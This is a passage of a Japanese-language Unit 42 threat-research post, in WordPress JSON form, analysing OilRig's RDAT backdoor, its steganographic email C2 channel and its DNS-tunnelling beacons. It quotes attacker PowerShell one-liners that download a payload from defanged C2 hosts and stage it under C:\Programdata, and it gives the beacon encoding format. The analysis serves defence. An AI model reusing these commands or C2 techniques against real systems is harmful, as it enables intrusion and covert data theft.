{"id":108202,"date":"2020-07-29T22:05:24","date_gmt":"2020-07-30T05:05:24","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=108202"},"modified":"2020-07-29T22:05:24","modified_gmt":"2020-07-30T05:05:24","slug":"oilrig-novel-c2-channel-steganography","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/","title":{"rendered":"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0"},"content":{"rendered":"<p><img  class=\"alignnone size-full wp-image-108019 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2020\/07\/word-image-30.png\" alt=\"\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u4f7f\u7528\u3057\u3066\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3055\u308c\u3066\u3044\u308b\u30d3\u30c3\u30c8\u30de\u30c3\u30d7\u753b\u50cf\u5185\u306b\u30b3\u30de\u30f3\u30c9\u3068\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u30d9\u30fc\u30b9\u306e\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u306e\u60aa\u610f\u306e\u3042\u308b\u52d5\u4f5c\u306e\u4f8b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002 \" width=\"2500\" height=\"595\" \/><\/p>\n<h2><a id=\"post-108014-_2ehh6pfveylw\"><\/a><strong>\u6982\u8981<\/strong><\/h2>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u306e\u5206\u6790\u4e2d\u306b\u3001\u5f0a\u793e\u304cRDAT\u3068\u547c\u3093\u3067\u3044\u308bOilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u4e9c\u7a2e\u306f\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u624b\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3055\u308c\u3066\u3044\u308b\u30d3\u30c3\u30c8\u30de\u30c3\u30d7\u753b\u50cf\u5185\u306b\u30b3\u30de\u30f3\u30c9\u3068\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u30d9\u30fc\u30b9\u306e\u65b0\u624b\u306e\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb(C2)\u30c1\u30e3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<p>2020\u5e745\u6708\u3001Symantec\u306f\u3001\u6771\u5357\u30a2\u30b8\u30a2\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bGreenbug\u30b0\u30eb\u30fc\u30d7\u306b\u95a2\u3059\u308b<a href=\"https:\/\/symantec-enterprise-blogs.security.com\/blogs\/threat-intelligence\/greenbug-espionage-telco-south-asia\">\u30ec\u30dd\u30fc\u30c8\u3092\u516c\u958b\u3057\u307e\u3057\u305f<\/a>\u3002\u3053\u306e\u30ec\u30dd\u30fc\u30c8\u3067\u306f\u30012020\u5e744\u6708\u306b\u884c\u308f\u308c\u305f\u653b\u6483\u3082\u53d6\u308a\u4e0a\u3052\u3089\u308c\u3066\u3044\u307e\u3059\u30022020\u5e744\u6708\u306b\u884c\u308f\u308c\u305f\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u3067\u3001\u540c\u69d8\u306e\u6226\u8853\u3068\u30c4\u30fc\u30eb\u3001\u7279\u306b\u30ab\u30b9\u30bf\u30e0Mimikatz\u30c4\u30fc\u30eb\u3001Bitvise\u3001PowerShell\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u3001\u305d\u3057\u3066\u5f0a\u793e\u304cRDAT\u3068\u540d\u4ed8\u3051\u3066\u8ffd\u8de1\u3057\u3066\u3044\u308b\u30ab\u30b9\u30bf\u30e0\u30d0\u30c3\u30af\u30c9\u30a2\u304c\u4f7f\u308f\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u89b3\u5bdf\u3055\u308c\u307e\u3057\u305f\u3002Unit 42\u306f\u4ee5\u524d\u304b\u3089\u30012015\u5e74\u306b\u767a\u898b\u3057\u305fOilRig\u3068\u3044\u3046\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u306b<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group\/\">Greenbug\u3092\u95a2\u9023\u4ed8\u3051<\/a>\u3066\u3044\u307e\u3057\u305f\u3002RDAT\u30c4\u30fc\u30eb\u304cOilRig\u306e\u6d3b\u52d5\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u306e\u3092\u6700\u521d\u306b\u78ba\u8a8d\u3057\u305f\u306e\u306f2017\u5e74\u3067\u3059\u304c\u3001\u305d\u306e\u5f8c2018\u5e74\u306b\u5225\u306e\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30c1\u30e3\u30cd\u30eb\u3092\u4f7f\u7528\u3059\u308b\u95a2\u9023\u30b5\u30f3\u30d7\u30eb\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u5206\u6790\u3057\u305f\u3068\u3053\u308d\u3001\u30c7\u30fc\u30bf\u3092\u6301\u3061\u51fa\u3059\u305f\u3081\u306b\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u7528\u3059\u308b\u65b0\u624b\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30d9\u30fc\u30b9\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u30012017\u5e749\u670826\u65e5\u306b\u516c\u958b\u3057\u305f<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-striking-oil-closer-look-adversary-infrastructure\/\">Striking Oil\u306b\u95a2\u3059\u308b\u30d6\u30ed\u30b0\u8a18\u4e8b<\/a>\u3067\u53d6\u308a\u4e0a\u3052\u305fTwoFace web\u30b7\u30a7\u30eb\u306b\u95a2\u9023\u3059\u308bweb\u30b7\u30a7\u30eb\u306bRDAT\u304c\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u306e\u3092\u78ba\u8a8d\u3057\u3066\u30012017\u5e74\u304b\u3089RDAT\u3092\u8ffd\u8de1\u3057\u3066\u3044\u307e\u3059\u3002RDAT\u306f2017\u5e74\u304b\u3089\u6d3b\u767a\u306b\u958b\u767a\u304c\u884c\u308f\u308c\u3066\u304a\u308a\u3001C2\u901a\u4fe1\u306bHTTP\u3068DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306e\u4e21\u65b9\u3092\u4f7f\u7528\u3059\u308b\u8907\u6570\u306e\u4e9c\u7a2e\u304c\u51fa\u73fe\u3057\u3066\u3044\u307e\u3059\u30022018\u5e746\u6708\u3001RDAT\u306e\u958b\u767a\u8005\u306f\u3001Exchange Web Services (EWS)\u3092\u4f7f\u7528\u3057\u3066\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u53d7\u4fe1\u3057\u3066C2\u901a\u4fe1\u3092\u884c\u3046\u6a5f\u80fd\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30d9\u30fc\u30b9\u306eC2\u30c1\u30e3\u30cd\u30eb\u3067\u306f\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u3092\u96a0\u3057\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3055\u308c\u305fBMP\u753b\u50cf\u5185\u306b\u57cb\u3081\u8fbc\u3093\u3067\u30c7\u30fc\u30bf\u3092\u6301\u3061\u51fa\u3059\u3001\u3068\u3044\u3046\u65b0\u624b\u306e\u8a2d\u8a08\u304c\u884c\u308f\u308c\u3066\u3044\u307e\u3059\u3002C2\u7d4c\u7531\u3067\u30c7\u30fc\u30bf\u3092\u4f1d\u9001\u3059\u308b\u305f\u3081\u306b\u96fb\u5b50\u30e1\u30fc\u30eb\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u753b\u50cf\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u691c\u51fa\u3059\u308b\u3053\u3068\u304c\u306f\u308b\u304b\u306b\u96e3\u3057\u304f\u306a\u308a\u3001\u9632\u5fa1\u304c\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u3059\u3079\u3066\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u3092\u60aa\u610f\u304c\u3042\u308b\u3082\u306e\u3068\u5224\u65ad\u3059\u308bWildFire\u3068Cortex XDR\u3001C2\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u8b58\u5225\u3057\u3066\u30d6\u30ed\u30c3\u30af\u3059\u308bDNS\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3068URL\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u306b\u3088\u3063\u3066\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-108014-_6zda93mnq9uq\"><\/a><strong>\u653b\u6483\u306e\u8a73\u7d30<\/strong><\/h2>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u304cRDAT\u306e\u5b58\u5728\u306b\u521d\u3081\u3066\u6c17\u3065\u3044\u305f\u306e\u306f2017\u5e7410\u67087\u65e5\u3067\u3059\u3002\u3053\u306e\u65e5\u306f<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-striking-oil-closer-look-adversary-infrastructure\/\">\u3053\u306e\u653b\u6483\u8005\u306eweb\u30b7\u30a7\u30eb\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u95a2\u3059\u308b<\/a>\u8abf\u67fb\u5185\u5bb9\u3092\u516c\u958b\u3057\u305f11\u65e5\u5f8c\u3067\u3042\u308a\u3001web\u30b7\u30a7\u30eb\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u308bRDAT\u304c\u89b3\u5bdf\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u3053\u3068\u304b\u3089\u3001\u653b\u6483\u8005\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u5f53\u8a72web\u30b7\u30a7\u30eb\u306e\u4f7f\u7528\u304c\u9732\u898b\u3057\u305f\u5f8c\u3082RDAT\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u3066\u5f15\u304d\u7d9a\u304d\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u305f\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n<p>2020\u5e744\u6708\u3001\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u4fb5\u5bb3\u3057\u305f\u53ef\u80fd\u6027\u304c\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u89b3\u5bdf\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u95a2\u9023\u30d5\u30a1\u30a4\u30eb\u306b\u306f\u3001\u8a8d\u8a3c\u60c5\u5831\u3092\u30c0\u30f3\u30d7\u3059\u308b\u30ab\u30b9\u30bf\u30e0Mimikatz\u30b5\u30f3\u30d7\u30eb\u3001SSH\u30c8\u30f3\u30cd\u30eb\u306e\u4f5c\u6210\u306b\u4f7f\u7528\u3055\u308c\u305f\u3068\u601d\u308f\u308c\u308bBitvise\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u304f\u308f\u3048\u3001\u79c1\u305f\u3061\u304cRDAT\u3068\u540d\u4ed8\u3051\u305f\u30ab\u30b9\u30bf\u30e0\u30d0\u30c3\u30af\u30c9\u30a2\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u6700\u521d\u306b\u53ce\u96c6\u3057\u305fRDAT\u30b5\u30f3\u30d7\u30eb\u304b\u3089\u30b5\u30f3\u30d7\u30eb\u30bb\u30c3\u30c8\u3092\u62e1\u5f35\u3057\u3066\u3001\u4ee5\u524d\u78ba\u8a8d\u3057\u305fISMDOOR\u30b5\u30f3\u30d7\u30eb\u3082\u95a2\u9023\u4ed8\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3057\u305f\u3002OilRig\u95a2\u9023\u306eweb\u30b7\u30a7\u30eb\u3067RDAT\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u3001\u30b3\u30fc\u30c9\u306e\u985e\u4f3c\u6027\u3001\u304a\u3088\u3073\u6226\u8853\u306e\u985e\u4f3c\u6027\u306e\u7d44\u307f\u5408\u308f\u305b\u304b\u3089\u5224\u65ad\u3057\u3066\u3001RDAT\u306fOilRig\u304c\u5c0e\u5165\u3057\u3066\u3044\u308b\u30c4\u30fc\u30eb\u3067\u3042\u308b\u3053\u3068\u306f\u9593\u9055\u3044\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>\u53ce\u96c6\u3057\u305f\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e2d\u306b\u3001\u904e\u53bb\u306b\u78ba\u8a8d\u3057\u305f\u3053\u3068\u304c\u3042\u308bPDB\u30d1\u30b9\u3068\u540c\u69d8\u306ePDB\u30d1\u30b9\u3092\u4f7f\u7528\u3059\u308b\u3082\u306e\u304c2\u3064\u3042\u308a\u307e\u3057\u305f\u30021\u3064\u306f<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Users\\Void\\Desktop\\dns\\client\\x64\\Release\\client.pdb<\/span>\u3001\u3082\u30461\u3064\u306f<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Users\\Void\\Desktop\\RDAT\\client\\x64\\Release\\client.pdb<\/span>\u3067\u3042\u308a\u3001RDAT\u3068\u3044\u3046\u30c4\u30fc\u30eb\u540d\u306f\u5f8c\u8005\u304b\u3089\u53d6\u3063\u305f\u3082\u306e\u3067\u3059\u3002\u56f31\u306b\u793a\u3059<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Users\\Void\\Desktop<\/span>\u306ePDB\u6587\u5b57\u5217\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u305d\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u6301\u3064\u30b5\u30f3\u30d7\u30eb\u3092\u5341\u6570\u500b\u53ce\u96c6\u3057\u305f\u3068\u3053\u308d\u3001\u305d\u306e\u591a\u304f\u304cISMDOOR\u3068\u547c\u3070\u308c\u308b\u65e2\u77e5\u306eOilRig\u30c4\u30fc\u30eb\u3067\u3042\u308b\u3053\u3068\u304c\u8b58\u5225\u3055\u308c\u307e\u3057\u305f\u3002\u95a2\u9023\u30c4\u30fc\u30eb\u7fa4\u304c\u5c0f\u898f\u6a21\u3067\u3042\u308b\u3053\u3068\u3092\u8003\u3048\u308b\u3068\u3001\u305d\u308c\u3089\u306e\u30c4\u30fc\u30eb\u306f\u3001\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u3092\u7ba1\u7406\u3057\u3066\u3044\u308b1\u4eba\u306e\u653b\u6483\u8005\u307e\u305f\u306f\u653b\u6483\u8005\u30b0\u30eb\u30fc\u30d7\u304c\u958b\u767a\u3057\u305f\u3082\u306e\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u975e\u5e38\u306b\u9ad8\u3044\u3068\u8a00\u3048\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108020 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-31.png\" alt=\"PDB\u6587\u5b57\u5217\u304b\u3089\u306e\u30d4\u30dc\u30c3\u30c8\" width=\"1749\" height=\"1131\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f31: PDB\u6587\u5b57\u5217\u304b\u3089\u306e\u30d4\u30dc\u30c3\u30c8<\/em><\/p>\n<p>\u3055\u3089\u306b\u3001\u30c9\u30e1\u30a4\u30f3<span style=\"font-family: 'courier new', courier, monospace;\">digi.shanx[.]icu<\/span>\u3067\u306f\u30d5\u30a1\u30a4\u30eb\u3092\u53d6\u5f97\u3057\u3088\u3046\u3068\u3059\u308bPowerShell\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u304c\u89b3\u5bdf\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108022 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-32.png\" alt=\"PowerShell\u3068\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u91cd\u8907\" width=\"1534\" height=\"526\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f32: PowerShell\u3068\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306e\u91cd\u8907<\/em><\/p>\n<p>Symantec\u306eGreenbug\u30ec\u30dd\u30fc\u30c8\u3067\u306f\u3001\u30bf\u30fc\u30b2\u30c3\u30c8\u30db\u30b9\u30c8\u3078\u306e\u76f8\u4e92\u30a2\u30af\u30bb\u30b9\u3092\u53d6\u5f97\u3057\u305f\u653b\u6483\u8005\u306f\u3001PowerShell\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3066\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5f8c\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3042\u308b\u4e8b\u4f8b\u3067\u306f\u3001\u6b21\u306e\u30b3\u30fc\u30c9\u306b\u793a\u3059\u3088\u3046\u306b\u3001Powershell\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3057\u3066\u3001C2 <span style=\"font-family: 'courier new', courier, monospace;\">apps.vvvnews[.]com<\/span>\u304b\u3089RDAT\u3092\u53d6\u5f97\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Programdata\\Nt.dat<\/span>\u306b\u4fdd\u5b58\u3057\u3001<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Programdata\\Vmware\\VMware.exe<\/span>\u306b\u79fb\u52d5\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">(New-Object System.Net.WebClient).DownloadFile('http:\/\/apps[.]vvvnews .com:8080\/Yf.dat', 'C:\\Programdata\\Nt.dat');<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">move C:\\Programdata\\Nt.dat C:\\Programdata\\Vmware\\VMware.exe -force;<\/span><\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u8abf\u67fb\u306e\u904e\u7a0b\u3067\u3001\u5225\u306eC2\u3092\u4f7f\u7528\u3057\u3001\u5b9f\u884c\u3059\u308b\u30b3\u30de\u30f3\u30c9\u304c\u591a\u5c11\u7570\u306a\u308b\u3001\u305f\u3060\u3057\u4f7f\u7528\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9(<span style=\"font-family: 'courier new', courier, monospace;\">C:\\Programdata\\Nt.dat<\/span>)\u304c\u4e00\u81f4\u3059\u308b\u3001\u975e\u5e38\u306b\u3088\u304f\u4f3c\u305fPowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u53ce\u96c6\u3057\u307e\u3057\u305f\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">$WebClient = New-Object System.Net.WebClient; $WebProxy = New-Object System.Net.WebProxy('http:\/\/192.168.3.4:8080',$true); $WebClient.Proxy = $WebProxy;Try {$WebClient.DownloadFile('http:\/\/digi.shanx[.]icu:8080\/Nt.dat','C:\\Programdata\\Nt.dat')} Catch {$_.Exception.Message | out-file C:\\Programdata\\Exceptions.dat};<\/span><\/p>\n<p>\u6b8b\u5ff5\u306a\u304c\u3089\u3001\u5206\u6790\u306e\u6642\u70b9\u3067C2\u30b5\u30fc\u30d0\u30fc<span style=\"font-family: 'courier new', courier, monospace;\">http:\/\/digi.shanx[.]icu:8080<\/span>\u306f\u4f7f\u7528\u4e0d\u80fd\u3060\u3063\u305f\u306e\u3067\u3001Nt.dat\u306e\u5185\u5bb9\u306f\u78ba\u8a8d\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002<\/p>\n<h2><a id=\"post-108014-_r11rnz14o9od\"><\/a><strong>RDAT\u30d0\u30c3\u30af\u30c9\u30a2<\/strong><\/h2>\n<p>\u653b\u6483\u8005\u306f\u3001\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3078\u306e\u653b\u6483\u3067\u4f7f\u7528\u3057\u305fRDAT\u30da\u30a4\u30ed\u30fc\u30c9\u30922020\u5e743\u67081\u65e5\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3066\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3067\u6307\u5b9a\u3055\u308c\u305f\u30c9\u30e1\u30a4\u30f3\u307e\u305f\u306f\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u30c9\u30e1\u30a4\u30f3<span style=\"font-family: 'courier new', courier, monospace;\">rsshay[.]com<\/span>\u3092C2\u30b5\u30fc\u30d0\u30fc\u3068\u3057\u3066\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3057\u307e\u3057\u305f\u3002\u904e\u53bb\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u3068\u7570\u306a\u308a\u3001\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306fC2\u901a\u4fe1\u306bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306e\u307f\u3092\u4f7f\u7528\u3057\u3001HTTP\u30d5\u30a9\u30fc\u30eb\u30d0\u30c3\u30af\u30c1\u30e3\u30cd\u30eb\u306f\u4f7f\u7528\u3057\u307e\u305b\u3093\u3002\u3053\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u306f\u3001DNS\u30c8\u30f3\u30cd\u30eb\u3067TXT\u30af\u30a8\u30ea\u306e\u307f\u3092\u4f7f\u7528\u3067\u304d\u3001\u6b21\u306e\u3088\u3046\u306b\u69cb\u9020\u5316\u3055\u308c\u305f\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;\u30a8\u30f3\u30b3\u30fc\u30c9\u6e08\u307f\u30c7\u30fc\u30bf&gt;.&lt;\u30a8\u30f3\u30b3\u30fc\u30c9\u65b9\u5f0f\u30010 (base64)\u307e\u305f\u306f1 (base32)&gt;&lt;\u6697\u53f7\u5316\u9375&gt;.&lt;C2\u30c9\u30e1\u30a4\u30f3&gt;<\/span><\/p>\n<p>\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u6e08\u307f\u30c7\u30fc\u30bf\u306e\u90e8\u5206\u306f\u3001\u653b\u6483\u8005\u304c\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u5f15\u65701\u3092\u6307\u5b9a\u3057\u305f\u5834\u5408\u306fbase32\u3067\u3001\u305d\u308c\u4ee5\u5916\u306fbase64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3055\u3089\u306b\u3001\u30c9\u30e1\u30a4\u30f3\u540d\u3067\u4f7f\u7528\u3067\u304d\u306a\u3044\u6587\u5b57\u304c\u542b\u307e\u308c\u306a\u3044\u3088\u3046\u306b\u3001base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306e\u6587\u5b57\u3092\u7f6e\u63db\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001=\u3092-\u306b\u3001\/\u3092_\u306b\u3001+\u3092-a\u306b\u3001\u305d\u308c\u305e\u308c\u7f6e\u63db\u3057\u307e\u3059\u3002\u30c6\u30b9\u30c8\u4e2d\u306b\u89b3\u5bdf\u3055\u308c\u305f\u30d3\u30fc\u30b3\u30f3\u306e\u4f8b\u3092\u4ee5\u4e0b\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">91mzXgXT-a9sLktr-aOz8pAw--.0R2.rsshay[.]com<\/span><\/p>\n<p>\u30d3\u30fc\u30b3\u30f3\u5185\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u6e08\u307f\u30c7\u30fc\u30bf(\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3)\u306f\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306eC2\u30c9\u30e1\u30a4\u30f3\u306e\u76f4\u524d\u306b\u5b58\u5728\u3059\u308b\u30e9\u30f3\u30c0\u30e0\u306b\u9078\u629e\u3055\u308c\u305f\u82f1\u6570\u5b572\u6587\u5b57\u3092\u9023\u7d50\u3057\u3066\u751f\u6210\u3055\u308c\u308b16\u30d0\u30a4\u30c8\u306e\u9375\u3068AES\u3092\u4f7f\u7528\u3057\u3066\u751f\u6210\u3055\u308c\u305f\u6697\u53f7\u5316\u30c6\u30ad\u30b9\u30c8\u3067\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u542b\u307e\u308c\u308b\u30e9\u30f3\u30c0\u30e0\u306a\u82f1\u6570\u5b572\u6587\u5b57\u304cR2\u3067\u3042\u308b\u5834\u5408\u3001\u6587\u5b57\u5217<span style=\"font-family: 'courier new', courier, monospace;\">R2R2R2R2R2R2R2R2<\/span>\u3092\u9375\u3068\u3057\u3066\u30c7\u30fc\u30bf\u304c\u6697\u53f7\u5316\u3055\u308c\u307e\u3059\u3002\u4e0a\u8a18\u306e\u4f8b\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u5fa9\u53f7\u3059\u308b\u3068\u3001<span style=\"font-family: 'courier new', courier, monospace;\">1,6,1.0_Y,2619<\/span>\u3068\u306a\u308a\u307e\u3059\u3002\u3053\u308c\u306f\u6b21\u306e\u3088\u3046\u306b\u69cb\u9020\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, 